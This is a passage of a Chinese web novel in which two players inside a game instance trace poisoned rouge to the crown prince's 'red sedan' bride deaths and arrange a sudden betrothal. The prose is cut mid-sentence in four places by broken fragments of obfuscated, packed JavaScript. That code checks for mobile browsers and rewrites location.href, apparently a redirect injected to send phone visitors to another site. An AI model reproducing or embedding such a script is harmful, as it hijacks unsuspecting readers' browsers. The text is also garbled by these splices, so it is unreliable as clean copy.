l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157090|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 初与序没什么好脸色地看着这一幕。 初明远跪在地上,背影僵住。那内侍合上绢帛,向前两步,虚扶了一把,脸上堆着笑。 “初大人,快请起。这可是天大的恩典,太子殿下亲点的,旁人求都求不来呢。”他朝内院瞥了一眼,“咱家知道您舍不得闺女,可这圣旨都下了,板上钉钉的事,除非啊……” 他拖长调子:“除非这初小姐,在这两日之内……没了。或者,立刻找个人,三书六礼,明媒正娶。否则,这宫门,是非进不可的。” 初明远站起身,面无表情,拱手道:“有劳公公。” 内侍笑了笑,不再多说,转身走了。 【限时任务更新:阻止“红轿案”发生。】 【玩家初与序已被正式列入红轿案名单,明日申时入宫。入宫即触发死亡结局。请在明日申时前,设法取消自此红轿婚礼。】 【失败结局:玩家死亡,副本结束。】 初与序:“……?” 这他妈怎么还带即死结局的? 小玉和另外两个丫鬟已经急得眼圈发红:“小姐,这可怎么办呀……” 初与序平静地走回梳妆台前坐下,接着初明远走了进来,看了一眼女儿,张了张嘴,似乎想说些什么,但不知从何说起。 一个丫鬟小心翼翼上前,低声问:“老爷,小姐明日就要……要不要,先把夫人留下的那件嫁衣拿出来,给小姐看看?夫人当年亲手做的,一直收在箱底……” “看什么看!”初明远打断她,挥了挥手,“明天才进攻!还有一整日!说不定,说不定就有转机!不看不看!” 他转向初与序,努力放柔声音:“序儿,你别担心,为父这就出门,去几位同僚好友府上走动走动,看看有没有别的法子。你就在家里,好好待着,哪儿也别去。” 初与序抬眼:“好,多谢父亲。” 初明远又站了一会,像是还想说什么,最终叹了口气,匆匆走了。 屋里重新安静下来,几个丫鬟们还红着眼,不知所措地看着初与序。下一秒,初与序站起身,淡淡道:“我出去一会。” “小姐,老爷让您……” “就在府里,不去外面。”初与序温和道。 她独自出了院子,朝着库房的方向走去。库房在宅院东北角,平日里只留一个老头看着。此时老头也被前厅的动静惊动,探头探脑往这边张望,见初与序过来,连忙行礼:“小姐。” “我取点东西。”初与序顿了顿,补充道,“父亲让我来取母亲旧物。” 老头没拦,掏出钥匙开来库房大门。 库房里堆满了家具,初与序很快在角落里找到了一只不起眼的小盒子。她轻轻打开,里面整齐地放着几样东西。 一对玉如意,一支赤色步摇,几匹宫缎,还有一个胭脂盒。 她拿起胭脂盒,里面是满满一盒子胭脂膏,颜色是正朱红,细腻润泽。初与序凑近,轻轻嗅了一下。 浓郁的花粉香气扑面而来,但在这香气之下,隐约还带着一缕清苦的草药气味。那气味有些醒神,混在胭脂香里,格外突兀。 这玩意儿适合在犯困时闻,可以带点回永冬之城。 初与序合上盖子,收起胭脂盒。 250.红轿案 初府后园静悄悄的,初与序回屋取了斗篷披上,转身出了房门,绕到后园一处围墙边。 墙不算太高,墙角堆着一些废弃的花盆。她左右看了看,四下无人,后退几步,助跑,在那些杂物上一蹬,手便攀住了墙头,利落地翻了上去。她蹲在墙头朝外望了一眼。 墙外是一条窄巷,积雪未扫,白茫茫一片。冬逢初就站在巷子阴影里,倚着墙,深蓝色官袍外罩了件黑色斗篷。见她露出,他抬眼望过来,嘴角弯了下。 初与序跃下,拍了拍手上沾的雪,走到冬逢初面前。 “拿到了?”冬逢初问。 初与序从斗篷下伸出手,掌心里躺着那个胭脂盒:“拿到了。去胭脂铺找人问问,这里面到底掺加了什么。” 冬逢初点了点头,忽然伸出手,将她斗篷后连着的大帽子拉起来,兜头盖好,又往下拉了拉。接着又将自己斗篷的帽子也拉起来,露出一点白皙的下颌。 “还怕有人看到你英俊的脸,将你强行绑回家成婚?”初与序扫了他一眼。 “那是,我可不想跟陌生人成婚。”冬逢初笑了一声,转身拐进巷子深处,“跟我来,我知道去胭脂铺的路。” 七弯八绕,走的全是僻静的小道。初与序跟着他,一路没遇到什么人。约莫两刻钟后冬逢初停下。眼前是一条街道,斜对面有间铺子,门脸不大,黑底金字的招牌写着“凝香斋”。 初与序认得这个,是京城最有名的胭脂铺。 两人走过去,铺子里燃着淡淡的暖香,柜台后站着个小伙子,听到动静,抬头热情道:“二位客官,想看看什么?本店新到了上好的螺子黛,还有江南来的……” 下一秒,他就看见走在最前面的冬逢初那身官袍,立刻睁大眼:“哟,冬大人!什么风把您吹到小店来了?快请进快请进!” 冬逢初没说话,只是侧开身,露出身后的初与序。小伙子这才瞧见初与序,意识到这也不是简单人物,堆着笑刚要寒暄,就被初与序抬手打断。 “掌柜的。”初与序将胭脂盒放在柜台上,“劳驾看看,这胭脂,可有什么特别之处?” 掌柜一愣,拿起盒子,仔细看了看盒子的样子,又打开,用指甲挑了一点,凑到鼻下闻了一口。 这一闻,他的脸色彻底变了。 “这、这胭脂……”他放下盒子,往后退了半步,“大人,这玩意儿,您是从哪儿得来的?” “你只需说里面有什么。”冬逢初道。 掌柜犹豫再三,才压低声音:“这胭脂,用料是顶好的,朱砂色也正。但……但里头掺了东西。” “离魂草。这东西气味淡,混在花香里闻不出是什么,但小的做了几十年胭脂,鼻子还算灵光,绝不会闻错。” 初与序和冬逢初对视一眼。 离魂草,这名字他们不陌生。刚进入永冬之城时,江意在群里发了一份副本资料,在“罕见毒物”那一页提到过: 「离魂草,生于阴湿之地,茎叶碾碎后可制致幻药剂,微量即可使人精神恍惚,大剂量则致幻至深,形同离魂,故名。」 “东宫每月从你这儿取多少胭脂?”冬逢初问。 掌柜擦了擦汗:“十、十盒,每月初五,准时来取。” “只是胭脂?”初与序开口。 掌柜愣了一下,脸色更难看了。 冬逢初看向他,补充道:“东宫还从你这儿买过别的吗?和红事,或者白事相关的?” 掌柜像是下了很大决心,道:“东宫每月还来采买大量苍术,纸钱,香烛,都是白事用的东西。”他顿了顿,继续道,“来取货的公公说,是宫里祭祀用的,可、可那量,实在不像寻常祭祀。” 他抬头飞快瞥了两人一眼,又垂下头,不敢再说了。 冬逢初点了点头,道:“今日之事,勿与外人提。” “是是是!小人明白!绝不敢外传!”掌柜忙将胭脂盒推回初与序面前。 走出胭脂铺,冷风立刻灌了满面。两人朝着来时的小巷走去。 初与序垂眸走在前面,目光落在脚下。积雪上清晰地印着几行脚印,延伸向巷子深处。 ——三排脚印。 她心里咯噔一下。 她和冬逢初两个人,来的时候留下两排脚印。可眼前这雪地上,从巷口到胭脂铺这段,除了他们的两排脚印,还有另外一排,并且没有返回的痕迹。 “有人跟着我们。”她脚步不停,用耳骨夹传递心声,“人还没回去,应该躲在你后面。” 冬逢初闻言低下头,也看到了多出来的一排脚印。 他没回头,右手随意搭上腰间剑柄,拇指轻轻一推,将长剑顶出一小截。借着剑身的反光,他看见身后墙角,一个人影飞快缩了回去。 “太子的人?”他用心声道。 初与序没回答,看向前方,那里有一段高墙。记忆里墙对面似乎是一片竹林,藏人不难。 冬逢初也顺着她的视线看去,明白过来。 初与序清了清嗓子,清晰地开口:“听说,宫中那位太子殿下最近要娶妻了。” 这话一出来,身后人的注意力立刻被吸引过来,啥也不管了,刻意往前走了好几步,想听清她接下来的话。 下一秒,冬逢初侧身跃起,右腿在空中划出一道弧度,狠狠踹在旁边一棵老槐树树干上! 树干剧烈摇晃,树枝上积压的厚厚积雪轰然塌落,雪崩般哗啦啦倾泻而下,扬起漫天雪尘,白茫茫一片。 身后传来惊呼,那人手忙脚乱地拍打着砸落的积雪,被呛得连连咳嗽。等他冲出雪幕,眼前已空无一人。 此时此刻,墙的另一边,竹林里。 初与序和冬逢初背靠着墙砖,静静听了一会,墙外只有风声,跟踪者似乎没招了,已经转身离开。 确认安全,冬逢初才开口回到正题:“离魂草用量控制得好的话,可以让人陷入假死,外观如生。卷宗里那些新娘‘面色如生,唇含朱色’,应该就是这玩意的效果。” 初与序道:“假死不是真死,卷宗上只说了尸体被送回去,但没有开棺验尸。如果只是假死,那人在棺材里醒来,要么活活憋死,要么被转移到其他地方,被处理掉。” “而且东宫每月还采购了大量白事用的东西,什么样的祭祀,需要持续每月都做,还要用量巨大?”冬逢初道。 初与序想了想,才道:“离魂草让人假死,像一具尸体。然后用白事那些东西,招魂?炼魂?” 她看向冬逢初:“太子萧景琰,他在用活人新娘炼制什么?” 寒风卷过竹林,半晌,冬逢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157091|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初才无奈地摇摇头:“不知道,具体怎么回事,得去东宫。” “怎么进?”初与序问,“你是钦差,也有令牌,但东宫是太子居所,无旨不得擅入。尤其现在,我们可能什么都找不到,反而把自己搭进去。” 钦差令牌在其他地方有用,但东宫不照,太子如果阻拦,硬闯是大不敬,掉脑袋都有可能。按照原剧情,初与序明日入宫,或许能借机探查。但这破系统任务要求她想办法摆脱进宫,其次她要是真进宫,就要和太子成婚,冬逢初一想到这玩意脑壳就痛,再怎么样也不可能让她和那什么太子成婚的。 “反正不可能让你去当太子妃。”冬逢初有些烦躁道。 初与序看了他一眼。 冬逢初侧过身,朝初与序靠近了些,两人隔着的距离缩短。 “先想想怎么阻止你进宫。” 初与序竖起两根手指:“方法一,逃婚。方法二,假死。” “逃婚会通缉,日后要调查更难,任务相当于失败。假死难度太大,而且东宫要的就是新娘假死,我现在这样,更如了他们的愿,直接把我从棺材里挖出来。” 冬逢初没接话,只是看着她。 竹林里很静,他看了她好一会儿,眼神很复杂,带着很重的犹豫。嘴唇动了动,没发出声音。过了好半晌,他才终于下定决心,开口,涩声道: “其实……还有一种。” 他停住了,没往下说。 初与序微微弯着头看着他。 冬逢初避开她的目光,看向旁边的竹子,变扭道:“就是……就是你明天进宫之前,如果能找到一个……合适的男子成婚,那样就完全可以不用进宫,这一点皇帝承认。” 他说到这,语速变快,又有些乱: “那个男子……其实可不可以是……我。” 他话一出口,脸就红了起来,从耳根一直烫到脖颈。他匆忙垂下眼,盯着地面:“但是这个方法你肯定不愿意。” 他说到这儿,忽然顿住了。再开口时,声音里带着一丝丝哭腔,让人心头发紧。 “我很喜欢很喜欢你,但是我还没有给你任何你想要的东西。我之前向你的告白,也只是在永冬之城的海边。” 他吸了吸鼻子:“如果现在在现实,我想带你去你喜欢的地方旅游,给你准备戒指,一大束花,你想要的一切……那个时候,我才有资格向你求婚。而且现在我们俩也才十八岁,我没办法娶你,我也不知道你愿不愿意嫁给我……” 他抬手看向她,眼眶已经红了,睫毛湿漉漉的。眼泪安静地流了下来,顺着脸颊滑落。 “我……虽然在副本里我们已经二十五了,但你肯定是不愿意嫁给我的。我什么都没有,我现在和你说这些,身上也没有带礼物。” “你很优秀,我知道我配不上你,但你……能不能等等我?就等一会会,我一定会追上你的。我爱你的,我想以后的每一天都要有你……” 后面的话,因为流泪几乎说不下去了。眼泪无声往下掉,那双总是温和含笑的眼睛,此刻像被雨水洗过。 初与序一开始还有些懵,等听清冬逢初最后的哽咽,她轻轻叹了口气,抬起手擦去他脸上的泪。 她无奈道:“我什么时候说,我不愿意了?” 冬逢初一怔。 251.红轿案 初与序的手轻轻贴着他的脸颊,道:“冬逢初,爱是很美妙的,无条件的。爱人不是一件需要多么自卑的事情。” “你知道我的优点,也清楚我的缺点。但你依然爱我,你心疼我,你在我身边,幸福就奖励在我身边。” “你不要担心你会不会配不上我,你没有过去的记忆,不记得别人对你的爱,但你能大大方方表达你对我的好。我没有上帝视角,但我肯定你真的很爱我。” 她顿了顿,微微一笑:“所以,你已经很棒啦。” 冬逢初想说什么,但眼泪又涌了上来,这次不是因为难过。 “我们现在是二十五岁,二十五岁在古代还没成婚,可是很奇怪的了。”初与序收回手,“我珍惜现在每一秒的时光,也珍惜你想要和我结婚的期待。” 她抬眼,温柔地看着冬逢初。 “我很爱你,我愿意和你在这里成婚,愿意一辈子和你在一起。” 冬逢初的心脏前在胸腔里跳得又重又急。 他没办法不爱初与序,从在《狼人杀》副本里见到她的第一眼起,就爱上了。 她身上总是带着清苦的勿忘我花香,低下头时发丝会软软地垂下遮住半边脸。偶尔温柔地笑起来,眸子里藏着说不清的情愫。她穿着的一身蓝色衣服,衬得她皮肤很白,整个人透出疏离的忧郁。 别人或许会说,这么好看一个姑娘,这么忧愁不好。可冬逢初会想,自己要怎么让她笑起来。 他下意识伸手想搂他,忽得意识到自己手太冰,怕凉到她,又想把手收回来。 初与序先一步伸手,握住了他冰冷的手指。她拉着他站起来,弯着眼睛对他笑了一下,伸手替他拍了拍官袍上蹭到的灰:“我先回去,你知道该这么做吗?” 冬逢初用力点了点头:“知道,我回去请媒人,备礼。”他说着,又有点不确定地看着她,“阿序,你真的……” 初与序抬手,捧住他的脸,踮起脚在他脸颊上亲了一口。 “去吧。”她说。 两人在竹林边分开,初与序按原路返回,走到高墙下,利落地翻回初府后院。她刚站稳,就看见小玉从月洞门那边冲过来。 “小姐!”小玉几乎要哭出来,“您到底去哪儿了?奴婢找遍了整个后院,吓死人了!” 初与序瞎编道:“就在自己书房看了会书,不用担心。” 小玉一愣:“书、书房?奴婢去过了,没人啊。” “许是没看清吧。”初与序往闺房走去。 小玉将信将疑,跟在她身后,一路絮叨着方才府里如何慌乱云云,初与序有一搭没一搭地应着,到了房内,就随意拿起一卷书,在窗边坐下翻看。 时间一点点过去,午后日光渐斜。府里渐渐安静下来,连下人的脚步都放轻了。 不知过了多久,外头忽然传来一阵脚步声,接着是小玉兴奋的声音:“小姐!小姐!冬大人……冬大人他又来了!” 初与序翻书的手指顿了一下。 “还带着人!好几位,捧着好些东西!”另一个丫鬟激动道,“老爷亲自迎到书房去了,还屏退了左右,这是要做什么呀?” 初与序将书轻轻合上,说:“不知道。” 书房,冬逢初换了一身官袍,端正地坐着。他身侧站着一位四十余岁的妇人,头戴抹额,笑容得体。正是京城里有名的官媒,陈娘子。 初明远坐在主位,看着眼前这阵仗,疑惑道:“冬大人,公务辛劳,还特意过府,不知所为何事?” 冬逢初端起茶盏,只握在手中,声音里带着紧张: “初大人,实不相瞒,晚辈今日冒昧登门,确有一件要事相商。”他抬眼看向初明远,“红轿一案,牵连贵府千金,晚辈奉旨查办,深知其中凶险。令嫒才貌双全,却遭此无妄之灾,晚辈……亦感心焦。” 初明远没接话,等着他往下说。 冬逢初深吸一口气,一字一句说出来:“然而,晚辈对令嫒……实是仰慕已久。” 书房猛地安静下来。 初明远看着冬逢初,像是要透过他强装镇定的脸,看进他心里去。 “冬大人,”初明远道,“此话……何意?” 冬逢初迎着他的目光,声音清晰,“晚辈斗胆,今日请动陈娘子做媒,正式向贵府提亲。愿取令嫒为妻,护她周全,免她明日入宫之祸。” “哐当”一声响,初明远的杯盖磕在了茶托上。 “婚姻乃人伦大事,且关乎小女终身。”初明远声音发紧,“贤侄所言……可当真?” “字字真心。”冬逢初回答得没有半分犹豫。 初明远又沉默片刻,半晌,他站起身朝冬逢初略一拱手:“贤侄且稍坐,容老夫稍作思量。” 他说完,转身出了前厅。 冬逢初坐在原地,这才敢轻轻吐出一口气。旁边的陈娘子递来一个安抚的眼神,低声道:“大人放心,初大人是个明白人。” 初明远走向初与序的闺房,小玉见他脸色沉重,吓了一跳,连忙行礼。 “小姐在里头?”他问。 “在、在看书。” 初明远推门进去,初与序正坐在窗边,闻声抬头,见他进来,便起身行礼:“父亲。” 初明远摆摆手,走到她面前。沉默了好久,才温和开口:“序儿,昨夜来府上的钦差冬大人,此刻正在前厅。” “他……”他想了想如何措辞,“他今日请了媒人上门,正式提亲,欲娶你为妻,即可定下婚约。” 他看着女儿,继续道:“为父看来,此事虽显仓促,但于你,于家门,或许是当下最佳之选。” 初与序听着,刚要开口,忽然一停。 等等等等一下,在古代该怎么回答愿意成婚来着?是直接说“女儿愿意”吗?但她怎么记得之前看的电视剧和小说里,那些女主都要先含蓄一笑,再低低开口说“女儿全听父亲的”,然后一大堆煽情的话,再定下成婚之事?到底咋说来着? 初明远见她久不答话,以为她心中不愿,叹了口气,道:“序儿,为父瞧着,那冬大人对你倒是真心的。他知道你明日便要入宫,急得什么似的。表面装得倒是平静,哪能逃过为父的眼睛?他虽年轻,却已是钦差,前程可期,品信和相貌也端正。若你嫁了他,他定能护你周全,免你入你龙潭虎穴。为父……只盼你平安。” 说到这,他话锋一转:“但若你实在不愿意,为父不强求,现在就去推掉冬大人。” 初与序忙抬起头:“女儿愿意。” 初明远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157092|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣了愣,随即脸上绽放出如释重负的神情。他连说了几个“好”字,眼眶竟有些发红。 “好,好!为父这就去回复他!”他立刻点头,“随为父来。我儿,你定会好好的。” 他领着初与序快步走回书房。见初明远回来,冬逢初站起身。 初明远走到他面前,郑重地拱手一礼:“小女,应允了。” 冬逢初眼睛立刻亮了起来,看了看身后的初与序,又看了看初明远,回礼道:“多谢大人成全。” 陈娘子见状,立刻笑吟吟上前,从袖中取出一份早就备好的大红礼单,双手呈给初明远:“初大人,这是冬府的聘礼礼单,请您过目。” 起头一项就是冬家祖传的一枚双鱼玉佩,寓意和合,越往下越贵重,密密麻麻写的全都是各式各样的礼品。 陈娘子又取出正婚书在桌上摊开,研好了磨,笔搁在一边。婚书用的是洒金红纸,抬头写着“谨立婚书”等字样,下面已经填好了双方的生辰、籍贯等。 冬逢初执笔,蘸了墨,在男方署名处落下自己的名字。初与序也走上前,拿起另一支笔,在女方处写下名字。 陈娘子在一旁看着,扫过两人的生辰八字,忽然笑道:“哎呀,这可真是……天作之合,天作之合啊!” 初明远看向她,她指着婚书上两人并列的生辰:“大人您看,冬大人和初小姐的生辰八字,竟是一模一样。年、月、日、时、分毫不差。这般的巧事,老身做媒几十年,也是头一回见!这可是天定的缘分,再般配不过了!” 她喜滋滋将婚书卷好:“如此,婚约既定。恭喜初小姐,恭喜冬大人。” 冬逢初再次向初明远深深一揖。 初明远扶住他,道:“贤侄不必多礼。既已成婚约,便是一家人。眼下事急,诸多礼数恐怕要从简,还望贤侄勿怪。” “不敢。”冬逢初道,“一切但凭岳父大人安排。” 初明远点了点头,扬声唤来管家:“召集家中上下,到前厅。” 不过一盏茶功夫,初府上下数十口人都聚集在前厅内。初明远站在台阶上,初与序和冬逢初立在他身侧。 “今日召集诸位,是要宣布一事。”初明远道,“小姐已与钦差冬大人定下婚约,明日,便是小姐出阁之日。” 底下响起一片惊呼。 初明远抬手:“事出有因,一切从简,但该有的礼数不能废。从现在起,府中上下,全力筹备婚礼事宜。” 众人立刻激动起来,齐声应道:“是!” “岳父大人。”冬逢初转身初明远,行礼道,“那晚辈也先回府上,准备明日婚事了。” 待初明远点头,冬逢初由管家陪着,朝府门走去。此时暮色渐合,庭院里已经点起了灯笼。冬逢初忽然心有所感,在即将踏出月洞门时,忽然回头,朝着窗户上看去。 初与序正趴在窗户上,手肘支着窗台,见他望过来,便歪了歪头对着他,轻轻笑了一下。 那笑容很淡,在渐暗的天色里,像点亮了一小簇温暖的光。 冬逢初看着她,也笑了起来,朝她微微颔首,然后才转身大步走出了初府的大门。 他翻身上马,勒紧缰绳,回头最后望了一眼初府高悬的灯笼,策马朝着冬府疾驰而去。 252.红轿案 冬逢初回到自己府门前,还没下马,守在门口的小厮就急匆匆跑过来:“大人,您姑姑来了!” 冬逢初神色微微一沉,翻身下马,将缰绳递给小厮,大步踏进府门。 厅内果然坐着个妇人,约莫四十多岁,头上插着金簪,眉眼间带着倨傲。见冬逢初进来,她也没起身,只是抬了抬眼皮,慢条斯理地说:“逢初啊,可算回来了。姑姑等你好一阵子了。” 冬逢初拱手行礼,走到主位坐下,淡淡道:“让姑姑久等了,是侄儿不是。” 姑姑上下打量了他一番,扫到他的官袍上,笑道:“到底是出息了,这身官袍穿着,气派就是不一样。” 冬逢初微微一笑,没回她这话:“不知姑姑今日来,所为何事?” “还能为什么?”姑姑扯了扯嘴角,“还不是为了你的终身大事!上次让人带话给你,你只回个‘尽力’?!你可知道,刘侍郎家的嫡女前些日子刚及笄,多少人家盯着呢!姑姑我可是托了好些关系,才跟刘夫人搭上话,人家对你这个钦差大人,也有意相看相看。” 她说到这,冬逢初才想起来昨天她派人上门催婚的事。 姑姑往前倾了倾:“刘侍郎虽然是三品,可人家根基厚,在户部那是实权人物!你如今虽是钦差,听着风光,可到底是孤身一人。若能娶了刘家女,日后仕途上,岂不是多了靠山?姑姑这可都是为你打算!” 冬逢初只垂眸微微带着笑,没什么反应。 姑姑加重语气:“听姑姑的,赶紧找个日子里,请媒人上门去提亲,这事啊,宜早不宜迟!” 冬逢初等她说完,才抬眼看向她。 “姑姑费心了。”他开口,“侄儿的婚事让姑姑如此挂怀,实在惭愧。” 姑姑以为他被说动:“你这孩子,跟姑姑还客气什么?都是一家人,我不替你操心,谁替你操心?” 冬逢初点了点头,然后缓缓道:“只是,恐怕要让姑姑失望了。侄儿今日出门,正是去办婚事。” 姑姑笑容僵住:“……你说什么?” “侄儿已前往吏部侍郎初明远大人府上,向初大人嫡女初与序小姐,正式提亲。初大人,业已应允。” 姑姑猛地站起身:“你……你疯了?!初家?那个明天就要抬进宫里去的初家女?” 她几步冲到冬逢初面前:“冬逢初!你疯了吗?!那是个将死之人!明天就要入宫去填红轿案的窟窿!你娶她?你这不是娶亲,你这是触霉头!是大不敬!” “你知不知道现在外头怎么说?说初家女是阎王爷点了名的人!你倒好,上赶着去捡这口绝户的棺材!娶谁不好,娶她?!你让姑姑我的脸往哪儿搁?让咱们家往后在亲戚面前还怎么抬头?!” 冬逢初静静听着,等她骂得差不多了,才缓缓站起身。 “姑姑。”他道,“侄儿娶谁,是侄儿自己的事。初小姐是生是死,是福是祸,也是侄儿与她之间的事。至于脸面——” “侄儿的脸面,不劳姑姑操心。姑姑若觉得丢人,往后少来侄儿这‘晦气’的宅邸便是。” 姑姑脸色瞬间变得铁青,指着冬逢初就想骂。可对上他毫无温度的眼睛,一股寒意猛地从脚底窜上来。 她终于意识到,眼前这个早已不是当年那个寄人篱下的孩子了。 “好……好!”她挤出一个僵硬的笑,“你翅膀硬了,姑姑管不了你了。以后你有什么事,也别来求着姑姑帮忙!只盼你好自为之!” 说完,她狠狠地瞪了他一眼,猛地一甩袖子,转身冲出厅门,很快远去。 冬逢初目送他离开,接着转身,朝门口走去,边走边吩咐随从:“备车,去一趟大理寺狱。” 半个时辰后,冬逢初坐在大理寺狱一间单独的审讯室内,这里没有窗,只点着一盏油灯。光线昏暗,空气里弥漫着血腥味。 门被打开,两个狱卒押着一个妇人进来。正是李媒婆,她身上的衣服已经脏污不堪,头发散乱。她被按坐在一张木凳上,手脚都戴着镣铐。 冬逢初挥了挥手,狱卒退了出去,带上门。 李媒婆惊慌地抬起头,看向对面。 冬逢初坐在一张椅子上,身体往后靠,隐在阴影里,只有下半张白皙的脸被烛光照亮。他换了一身黑色常服,嘴角微微上扬,可笑意没进眼底,反而让他透出冰冷鬼魅的沉静。 他拿起桌上的茶壶,倒了杯水,推到李媒婆面前。 李媒婆盯着那杯水,没敢动。 “李夫人。”冬逢初开口,“红轿一案,你是经办人。四位新娘都是经你的手进入宫中。” 李媒婆身子一颤,低下头:“大人明鉴,老身、老身只是奉命行事。” “奉谁的命?”冬逢初问。 “自然是……宫里的命,圣上的旨意……”李媒婆小声道。 冬逢初笑了笑:“圣上旨意,是赐婚。可没旨意,让新娘在新婚夜就死。” 李媒婆猛地抬起头,脸色煞白:“大人!这话可不能乱说!新娘们是福薄……” “福薄?”冬逢初打断她,“四个高门贵女,个个福薄?还都薄在同一晚?李夫人,这话你自己信吗?” 李媒婆嘴唇哆嗦着,说不出话。 冬逢初慢条斯理道:“本官查案,讲究证据。胭脂里的离魂草,本官每月采购的白事用品,这些够不够?” “本官今日来,不是来听你狡辩的。”他语气冷下来,“只问你一件事,新娘入宫后,除了去东宫,还会被带去什么地方?” 李媒婆浑身发抖,低着头死死咬着嘴唇,不吭声。 冬逢初也不急,静静地看着她。 时间一点点过去,就在冬逢初以为她不会开口时,李媒婆忽然颤抖着吐出三个字: “摘……星阁。” 接着,李媒婆像是用尽了所有力气,缩在椅子上。 冬逢初知道再问也问不出什么了,他站起身,走到门边,抬手敲了敲。 狱卒开门进来。 “带回去。”冬逢初说,“好生看着。” 狱卒应了一声,将瘫软的李媒婆拖了出去。 初府,初明远刚刚送走最后一位前来道贺的同僚,他负手在厅内踱了两步,随即招手唤来管家:“你亲自去,携婚书,急报宫中。言明小女已定下婚约,依律取消红轿资格。” 管家躬身退下:“是,老爷。”他犹豫了一下,又问,“老爷,宫中若问起姑爷身份……” “照实说。”初明远摆了摆手,“钦差冬逢初,陛下亲信。宫里那些人自然知道轻重。” 管家不再多言,领命匆匆退下。 初明远又对着其余几个仆人道:“去,把库房里夫人留下的那口檀木箱子抬出来,抬到小姐院子里去。” 没过多久,四个仆人小心翼翼地抬着一口沉甸甸的檀木香,穿过庭院,进了初与序闺房所在的院子里。 小玉和几个丫鬟正在说笑,见箱子抬进来,都好奇地凑上前。初明远进来:“都退下吧,小玉留下。” 接着他走到箱子前,伸手摸了摸箱盖。他沉默了好一会儿,才低声道:“序儿,过来。” 初与序走上前,在他身侧站定。 初明远深吸一口气,从袖子中取出一枚铜钥匙,插入锁孔,轻轻一拧。 锁开了,他掀开箱盖。 一股淡淡的檀木香扑鼻而来,箱内铺着柔软的素白绸布,绸布上整整齐齐叠着一套嫁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167367|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣。 最上面是一方红盖头,料子是上好的云锦,光泽柔和。盖头边缘用金线滚边,四角各缀着一粒小小的珍珠。 盖头下,是一件大袖衫,同样是大红色。衣襟、袖口、衣摆处都绣着鸳鸯戏水、并蒂莲开图案。大袖衫下,露出内层襦裙的领口,是水蓝色的衬边,清新雅致。旁边叠放着一副霞帔,深蓝色的底子上绣着云水暗纹。 嫁衣旁边有一只小木盒,打开来,里面是配套的头饰。一支赤金点翠步摇,一对嵌宝金簪,还有几枚珠花。 “这是你母亲给你做的。”初明远道,“从你三岁起,她就开始绣了。她说,女儿家的嫁衣,得母亲亲手做,才吉利,才贴心。” 他顿了顿,看向那些刺绣,仿佛能看见那个倚在窗下,低头穿针引线的身影。 “她身子一直不好,绣得慢,断断续续绣着……在去世前,绣完了最后一针。” 初与序静静地看着那套嫁衣,那些金线刺绣精致得不可思议,每一针都是一位母亲对女儿未来的祝福。它静静地躺在箱底,等了这么多年,终于等到要穿上它的这一天。而做它的人,却早已不在了。 “她总说,不知道我们家序儿将来会嫁给什么样的人。”初明远眼眶有些发红,“她盼着你穿这身嫁衣的时候,能高高兴兴的,能嫁一个真心待你好的人。” 他看向初与序:“冬大人来提亲,他对你,那份心是真的。你母亲若在,见了这套嫁衣终于能穿在你身上,想来……也是欣慰的。” 她合上箱盖,将铜钥匙放在箱盖上,推向初与序。 “今日你便试试,看合不合适。若有不妥,立刻叫绣娘来改。”他停了停,才道,“明日,就穿这身吧。” 初与序垂眸看着钥匙。 她没感受到太多现实世界里父母给予的爱。小时候,父亲没生病前忙工作,时常不在家,一周能见两次面都难得。见面时,也多是父亲板着脸坐在沙发上,即使初与序那时吊儿郎当的,也从小怕他。 后来父亲生病,又忙着跑医院,见面更难。 母亲对她控制欲强,家里经常火山爆发。但她知道母亲辛苦,会在她面前收敛很多。再后来,被送到寄养家庭,就再也没见过母亲。 偶尔,她回想起这个唯一的亲人。 她是不是不要自己了。 被养父母接出善佑医院后,他们说母亲快回来了。可什么时候能再见到她?如果自己在现实里结婚,母亲会是什么样子?会像副本里的初夫人一样,早早地为她准备这样一身嫁衣吗?会红着眼眶,又带着笑,看着她穿上吗? 她不知道。 “小姐?”小玉见她久久不动,小声唤道。 初与序回过神,将钥匙收回。 “收起来吧,明日穿。”她道,“不试了,一定合身的。” 小玉抱着箱子离开,忽然,身后传来一阵凉意,像是有谁轻轻对着她后颈吹了口气。 初与序回过头。 庭院里,积雪泛着白光。就在那片白光之上,一道红影飘在那儿。柳青娘还是那身大红嫁衣,盖头垂着,身形像一缕凝聚不散的烟。 她隔着一段距离,直勾勾地看着初与序,没有敌意,但沉甸甸的。 